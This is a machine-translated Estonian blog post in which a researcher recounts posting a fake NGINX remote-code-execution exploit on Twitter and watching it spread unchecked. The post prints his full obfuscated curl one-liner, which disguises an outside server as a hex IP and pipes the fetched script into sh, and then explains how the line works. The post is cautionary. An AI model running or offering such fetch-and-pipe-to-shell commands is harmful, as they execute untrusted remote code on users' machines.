Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu

Märge. tõlge: Autor 1. juunil avaldatud originaalmärkus otsustas infoturbe huviliste seas läbi viia eksperimendi. Selleks valmistas ta veebiserveri avalikustamata haavatavuse jaoks ette võltsitud ärakasutamise ja postitas selle oma Twitterisse. Tema oletused – saada koheselt avalikuks spetsialistid, kes näevad koodis ilmset pettust – mitte ainult ei täitunud... Need ületasid kõik ootused ja vastupidises suunas: säuts pälvis tohutu toetuse paljudelt inimestelt, kes seda ei teinud. kontrollige selle sisu.

Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu

TL;DR: ärge mingil juhul kasutage failikonveierit sh või bashis. See on suurepärane viis arvuti üle kontrolli kaotamiseks.

Ma tahan teiega jagada lühikest lugu koomilisest PoC-i ärakasutamisest, mis loodi 31. mail. Ta ilmus kiiresti vastuseks uudistele Alisa Esage Ševtšenko, liige Nullpäeva algatus (ZDI), et teave NGINX-i haavatavuse kohta, mis viib RCE-ni (koodi kaugkäivitus), avalikustatakse peagi. Kuna NGINX juhib paljusid veebisaite, pidi uudis olema pommuudis. Kuid "vastutustundliku avalikustamise" protsessi viivituste tõttu ei olnud juhtunu üksikasjad teada - see on tavaline ZDI protseduur.

Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu
säutsuma NGINX-i haavatavuse avalikustamise kohta

Olles lõpetanud curl'is uue segamistehnika kallal töötamise, tsiteerisin algset säutsu ja "lekitasin töötava PoC", mis koosneb ühest koodireast, mis väidetavalt kasutab avastatud haavatavust. See oli muidugi täielik jama. Eeldasin, et saan kohe paljastatud ja parimal juhul saan paar retweeti (ah well).

Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu
säutsuma võltsitud ärakasutamisega

Siiski ei osanud ma ette kujutada, mis edasi sai. Minu säutsu populaarsus tõusis hüppeliselt. Üllataval kombel on hetkel (15. juunil 00:1 Moskva aja järgi) vähesed aru saanud, et tegemist on võltsinguga. Paljud inimesed retweidavad seda ilma seda üldse kontrollimata (rääkimata sellest, et imetlevad selle ilusat ASCII-graafikat).

Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu
Vaadake vaid, kui ilus see on!

Kuigi kõik need silmused ja värvid on suurepärased, on selge, et inimesed pidid nende nägemiseks oma masinas koodi käivitama. Õnneks töötavad brauserid samamoodi ja koos tõsiasjaga, et ma ei tahtnud tegelikult juriidilistesse probleemidesse sattuda, tegi minu saidile maetud kood lihtsalt kajakõnesid, proovimata täiendavat koodi installida või käivitada.

Väike kõrvalepõige: netspooky, DNZ, mina ja teised meeskonna poisid Tohutu rahvahulk Oleme juba mõnda aega mänginud erinevate võimalustega lokkide käskude hägustamiseks, sest see on lahe... ja me oleme nörgid. netspooky ja dnz avastasid mitu uut meetodit, mis tundusid mulle väga paljulubavad. Liitusin lõbuga ja proovisin nippide hulka lisada IP kümnendkonversioonid. Selgub, et IP saab teisendada ka kuueteistkümnendvormingusse. Pealegi söövad curl ja enamik teisi NIX-i tööriistu hea meelega kuueteistkümnendsüsteemis IP-sid! Seega oli küsimus vaid veenva ja turvalise välimusega käsurea loomises. Lõpuks leppisin sellega:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sotsiaal-elektrooniline tehnika (SEE) – rohkem kui lihtsalt andmepüügi

Ohutus ja tuttavlikkus olid selle katse põhiosa. Ma arvan, et just need viisid tema eduni. Käsurida viitas selgelt turvalisusele, viidates "127.0.0.1"-le (tuntud localhost). Localhosti peetakse turvaliseks ja sellel olevad andmed ei lahku kunagi teie arvutist.

Tuttavus oli katse teine ​​oluline SEE komponent. Kuna sihtrühmaks olid eelkõige arvutiturbe põhitõdedega tuttavad inimesed, oli oluline luua kood nii, et osa sellest tunduks tuttav ja tuttav (ja seega turvaline). Vanade ekspluateerimiskontseptsioonide elementide laenamine ja nende ebatavalisel viisil kombineerimine on osutunud väga edukaks.

Allpool on üksikasjalik analüüs ühe voodri kohta. Kõik selles nimekirjas on seljas kosmeetiline iseloom, ja selle tegelikuks toimimiseks pole praktiliselt midagi vaja.

Millised komponendid on tegelikult vajalikud? See -gsS, -O 0x0238f06a, |sh ja veebiserver ise. Veebiserver ei sisaldanud pahatahtlikke juhiseid, vaid teenindas lihtsalt käskude abil ASCII graafikat echo sisalduvas skriptis index.html. Kui kasutaja sisestas reale |sh keskel, index.html laaditakse ja täidetakse. Õnneks polnud veebiserveri hoidjatel halbu kavatsusi.

  • ../../../%00 — esindab kataloogist kaugemale jäämist;
  • ngx_stream_module.so — tee juhusliku NGINX-mooduli juurde;
  • /bin/sh%00<'protocol:TCP' - me väidetavalt käivitame /bin/sh sihtmasinas ja suunake väljund ümber TCP kanalile;
  • -O 0x0238f06a#PLToffset - salajane koostisosa, täiendatud #PLToffset, et näeks välja nagu PLT-s sisalduv mälunihe;
  • |sh; - veel üks oluline fragment. Meil oli vaja suunata väljund ümber sh/bashi, et käivitada ründavast veebiserverist, mis asub aadressil 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - mannekeen, millele netcat viitab /dev/tcp/localhostet kõik näiks taas turvaline. Tegelikult ei tee see midagi ja kuulub ilude ridadesse.

Sellega lõpetatakse üherealise skripti dekodeerimine ja arutlemine „sotsiaal-elektroonilise inseneri” (keeruka andmepüügi) aspektide üle.

Veebiserveri konfigureerimine ja vastumeetmed

Kuna valdav enamus minu tellijatest on infosec/häkkerid, otsustasin muuta veebiserveri nendepoolsete "huviavalduste" suhtes pisut vastupidavamaks, et kuttidel oleks midagi teha (ja see oleks lõbus seadistada). Ma ei hakka siin kõiki lõkse üles loetlema, kuna katse on veel pooleli, kuid siin on mõned asjad, mida server teeb:

  • Jälgib aktiivselt levitamiskatseid teatud sotsiaalvõrgustikes ja asendab erinevaid eelvaate pisipilte, et julgustada kasutajat lingil klõpsama.
  • Suunab Chrome'i/Mozilla/Safari/jne ümber Thugcrowdi reklaamvideole, selle asemel, et kuvada kestaskripti.
  • Jälgib ILMESEID sissetungi/räige häkkimise märke ja hakkab seejärel päringuid NSA serveritesse ümber suunama (ha!).
  • Installib trooja ja ka BIOS-i juurkomplekti kõikidesse arvutitesse, mille kasutajad külastavad hosti tavalisest brauserist (nali naljaks!).

Nginxi võltsitud ärakasutamise sotsiaalse eksperimendi edu
Väike osa antimeeridest

Sel juhul oli minu ainus eesmärk omandada mõned Apache'i funktsioonid – eelkõige päringute ümbersuunamise lahedad reeglid – ja ma mõtlesin: miks mitte?

NGINX Exploit (päris!)

Telli @alisaesage Twitteris ja jälgige ZDI suurepärast tööd NGINX-i väga reaalsete haavatavuste kõrvaldamisel ja võimaluste ärakasutamisel. Nende töö on mind alati lummanud ja olen Alice'ile tänulik kannatlikkuse eest kõigi minu rumala säutsu põhjustatud mainimiste ja märguannetega. Õnneks tegi see ka head: aitas tõsta teadlikkust NGINX-i haavatavustest ja lokkide kuritarvitamisest põhjustatud probleemidest.

Allikas: www.habr.com

Lisa kommentaar